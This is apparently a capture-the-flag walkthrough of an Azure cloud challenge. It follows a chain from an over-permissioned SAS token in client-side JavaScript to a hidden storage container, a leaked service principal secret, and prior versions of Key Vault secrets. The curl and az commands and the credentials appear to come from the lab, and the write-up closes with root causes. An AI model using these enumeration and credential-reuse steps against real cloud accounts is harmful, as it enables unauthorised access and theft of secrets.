Cloud · Medium · 90 pts
Sleep easy, said the kiosk.
A walkthrough of CryptoCabana: an over-permissioned SAS token in plain client-side JS, a hidden storage container, a leaked service principal, and a Key Vault secret that "rotation" didn't actually kill.
The promise
CryptoCabana is a single-page "seed phrase backup" kiosk. The pitch is four words: Backed up. Sleep easy. The room's job is to find out what that page quietly trusts to reach into storage on its own — and how far that trust extends once you start pulling.
"the backup kiosk is SO confident. 'sleep easy' it says 💀 reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that 👀"
Two tells worth holding onto before starting: this is a static site (nothing runs server-side that the browser doesn't also have access to), and there's a planted hint about secret rotation that only pays off much later.
Pull apart what the page hands out for free
The landing page itself is unremarkable — a recovery-phrase textbox and a "Back it up" button. The interesting part is what fires when you submit it. Opening DevTools → Network before submitting anything, then typing garbage into the field and clicking the button, surfaces the real request:
PUT https://cryptocabanaf5scjagc.blob.core.windows.net/backups/backup-<timestamp>.txt
?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z
&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W...h0%3DThe frontend never called an API of its own — it wrote directly to Azure Blob Storage, authenticated with a SAS (Shared Access Signature) token baked straight into the page's client-side JavaScript, visible to anyone who opens the network tab.
sp=rl: read and list, not just write. A token that only needs to let visitors drop off a backup was minted with rights to read and enumerate the entire account. Its window is also suspicious: st=2024-01-01 → se=2099-12-31 — cut once, years ago, and never rotated.Follow the trust somewhere the page never points
With list rights on the account (srt=sco = service + container + object scope), the same token can enumerate containers the frontend never links to. First, listing the backups container itself came up empty — that's just where throwaway test writes land. The real move is listing at the account root:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&<same SAS params>"That returns three containers: $web (the static site itself), backups (empty), and a third one the page never mentions or links to anywhere:
vault — not referenced in any HTML, CSS, or JS on the site, only discoverable because the leaked SAS token had list rights over the whole account.Listing it:
curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&<SAS>"Blob
seed_phrase.txt — decoy, a fake wallet phrase
Blob
backup-service-account.json
The second file is the actual payload. Fetched with the same SAS token:
{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"note": "CryptoCabana backup automation account.
Rotate this if it ever leaves the vault. -- IT"
}The second, more valuable set of keys
Authenticating as the leaked service principal instead of the lab user:
az login --service-principal \ --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \ --password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \ --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table
key-shard-1
enabled
key-shard-2
enabled
key-shard-3
enabled
master-key
enabled — expired 2020-01-01 (decoy)
Listing gives names, not values — the vault "won't give up the real values on the first ask," as the briefing put it. Reading the three shards directly:
Shard 2's live value is a note, not data — a direct nod to @0xMia's tip about values that look freshly rotated. Key Vault keeps prior versions unless they're explicitly purged, so:
az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json
Two versions come back, three seconds apart. Reading the older one:
az keyvault secret show --vault-name ccabana-kv-f5scjagc \
--name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0 \
--query value -o tsv
_k3ys_n0t_Assembling the shards
A fitting punchline for a "backup vault" challenge — not your keys, not your coins — delivered by a kiosk that promised sleeping easy and instead handed out read access to its own vault.
The full chain
- Client-side JS embeds a SAS token meant only for uploading backups — but scoped with
read + listover the whole storage account. - That token enumerates a
vaultcontainer never linked from the site itself. - The vault holds a service principal's
client_id/client_secretin plaintext JSON. - That service principal has legitimate rights over a separate Azure Key Vault holding the real secret, split into shards.
- One shard was "rotated" after being flagged — but the pre-rotation version is still retrievable by version ID.
Root causes
Over-scoped SAS token
A write-only use case (drop off a backup) was issued a token with account-wide read and list rights, and a 75-year validity window.
Secrets stored beside secrets
A service principal credential — effectively a master key to the real vault — was left as a plaintext blob in the same storage account it was meant to protect.
Security through obscurity
The vault container wasn't linked anywhere, but obscurity isn't access control — anyone with list rights finds it in one request.
Incomplete rotation
Rotating a Key Vault secret without purging prior versions leaves the compromised value readable to anyone who still has read access.